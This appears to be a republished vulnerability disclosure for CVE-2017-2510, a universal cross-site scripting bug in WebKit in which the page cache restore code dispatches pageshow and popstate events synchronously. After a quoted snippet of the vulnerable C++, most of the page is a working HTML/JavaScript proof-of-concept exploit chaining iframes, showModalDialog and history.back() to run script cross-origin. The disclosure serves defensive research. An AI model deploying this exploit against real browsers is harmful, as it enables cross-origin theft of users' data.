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WebKit enqueuePageshowEvent / enqueuePopstateEvent Universal XSS

Posted on 26 May 2017

WebKit: UXSS: enqueuePageshowEvent and enqueuePopstateEvent don't enqueue, but dispatch

CVE-2017-2510

Here is a snippet of CachedFrameBase::restore which is invoked when cached frames are restored.

void CachedFrameBase::restore()
{
...
for (auto& childFrame : m_childFrames) {
ASSERT(childFrame->view()->frame().page());
frame.tree().appendChild(childFrame->view()->frame());
childFrame->open(); <----- (a)
}
...
// FIXME: update Page Visibility state here.
// <a href="https://bugs.webkit.org/show_bug.cgi?id=116770" title="" class="" rel="nofollow">https://bugs.webkit.org/show_bug.cgi?id=116770</a>
m_document->enqueuePageshowEvent(PageshowEventPersisted);

HistoryItem* historyItem = frame.loader().history().currentItem();
if (historyItem && historyItem->stateObject())
m_document->enqueuePopstateEvent(historyItem->stateObject());

frame.view()->didRestoreFromPageCache();
}

enqueuePageshowEvent and enqueuePopstateEvent are named "enqueue*", but actually those *dispatch* window events that may fire JavaScript handlers synchronously.

At (a), |open| method may invoke |CachedFrameBase::restore| method again. Thus, the parent frame's document may be replaced while |open| is called in the iteration, the next child frame is attached to the parent frame holding the replaced document.

PoC:
<html>
<body>
<script>

function createURL(data, type = 'text/html') {
return URL.createObjectURL(new Blob([data], {type: type}));
}

function navigate(w, url) {
let a = w.document.createElement('a');
a.href = url;
a.click();
}

function main() {
let i0 = document.body.appendChild(document.createElement('iframe'));
let i1 = document.body.appendChild(document.createElement('iframe'));

i0.contentWindow.onpageshow = () => {
navigate(window, '<a href="https://abc.xyz/');" title="" class="" rel="nofollow">https://abc.xyz/');</a>

showModalDialog(createURL(`
<script>
let it = setInterval(() => {
try {
opener.document.x;
} catch (e) {
clearInterval(it);
window.close();
}
}, 10);
</scrip` + 't>'));

};

i1.contentWindow.onpageshow = () => {
i1.srcdoc = '<script>alert(parent.location);</scrip' + 't>';
navigate(i1.contentWindow, 'about:srcdoc');
};

navigate(window, createURL(`<html><head></head><body>Click anywhere<script>
window.onclick = () => {
window.onclick = null;

history.back();
};

</scrip` + `t></body></html>`));
}

window.onload = () => {
setTimeout(main, 0);
};

</script>
</body>
</html>

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

 

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